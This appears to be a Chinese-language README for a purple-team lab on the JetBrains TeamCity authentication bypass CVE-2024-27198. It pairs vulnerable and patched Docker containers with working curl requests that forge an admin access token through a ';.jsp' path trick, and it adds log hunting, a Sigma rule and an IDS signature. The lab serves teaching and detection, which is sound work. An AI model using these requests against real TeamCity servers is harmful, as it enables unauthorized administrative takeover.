CVE-2024-27198实验室
JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)的漏洞研究与紫队演示实验环境
TeamCity 提供了一个仅限管理员访问的令牌管理页面,但该页面未受身份验证保护。这使得未认证用户只要能够找到现有用户的 ID,就可以为管理员用户生成访问令牌。
本仓库包含一个完整可复现的 Docker 化实验环境,其中既有存在漏洞的 TeamCity 环境(:8111),也有已修补的 TeamCity 环境(:8112),还包含自动化利用脚本(exploit.py)、蓝队日志搜寻演练,以及实时 SIEM 事件模拟器(siem_simulator.py)。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
该漏洞存在于 REST API 路由机制中。通过向未认证端点附加特定字符(如 ?jsp=/app/rest/...;.jsp),攻击者可以诱使 TeamCity Web 服务器将请求路由到已认证端点,同时绕过安全过滤器。这无需任何先验知识或访问权限,因此其 CVSS 评分为纯粹的 9.8。
要在本地启动并运行此实验环境,请按照以下简单示例步骤操作。
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
用户名:
admin
密码:
admin
未经身份验证对资源发起 GET 请求:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
两者都应返回状态码为 401 的错误。
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
这应返回一个类似这样的令牌(每次令牌都不同):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
这应返回 401 状态码的错误,因为已修补的实例不存在该漏洞。
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
应返回用户列表。
在实验演示过程中,你可以展示一个重要的蓝队发现:默认情况下,此漏洞极其隐蔽!
;.jsp HTTP 请求不会被记录。那么我们该如何捕获它?当攻击者清理其痕迹时! 当攻击者删除其恶意令牌以隐藏行踪时,TeamCity 确实会记录该操作。
在审计日志中查找攻击者掩盖痕迹的行为:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(你将看到一条日志条目,表明“REDTEAM”令牌已被删除)。
docker compose down
此漏洞属于 CWE-288:使用替代路径或通道绕过身份验证 的一个实例。
该缺陷源于 Tomcat Web 服务器与 TeamCity 应用程序路由器之间的路径混淆问题。通过附加 ;.jsp 并在 jsp= 参数中传入目标 REST API 端点,初始安全过滤器会将请求解释为对公共 .jsp 文件的未认证请求(这是被允许的)。然而,内部路由器会剥离 ;.jsp,并将请求转发至受限的 /app/rest/ 端点,而不强制执行身份验证过滤器。
合法用例(为什么允许 ;?):
Tomcat 使用分号字符(;)表示 矩阵参数。从历史上看,此机制用于直接在路径中传递参数,例如在禁用 Cookie 时附加 JSESSIONID 以维护用户会话状态。这种正常、合法的 Web 服务器行为,加上 TeamCity 应用程序路由器的不当验证,共同构成了该漏洞。
为检测正在进行或过去发生的入侵,蓝队应关注:
/app/rest/ 端点但 URI 中包含异常 ;.jsp 字符串的 HTTP 请求。teamcity-server.log): 无法解释的访问令牌生成或新管理员账户创建。由于初始利用默认具有隐蔽性,蓝队必须依赖检测攻击者的后利用行为,例如掩盖其痕迹。以下是一条供您的 SIEM 检测可疑令牌删除的 Sigma 规则:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
为了证明该检测机制有效,请运行 siem_simulator.py 脚本:
docker compose up -d)。python3 siem_simulator.py
为了在网络中检测此漏洞利用尝试,SOC 可以实施以下 IDS 规则,该规则会查找异常的 ;.jsp 模式与 REST API 路径的组合:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
为证明缓解措施有效,你可以针对运行在端口 8112 上的已修补 TeamCity 容器启动完全相同的漏洞利用载荷:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
由于该补丁严格强制路由匹配并正确清理矩阵参数,绕过将失败。你应该会看到 401 Unauthorized 或 404 Not Found 响应,而不是生成的令牌。
(返回顶部)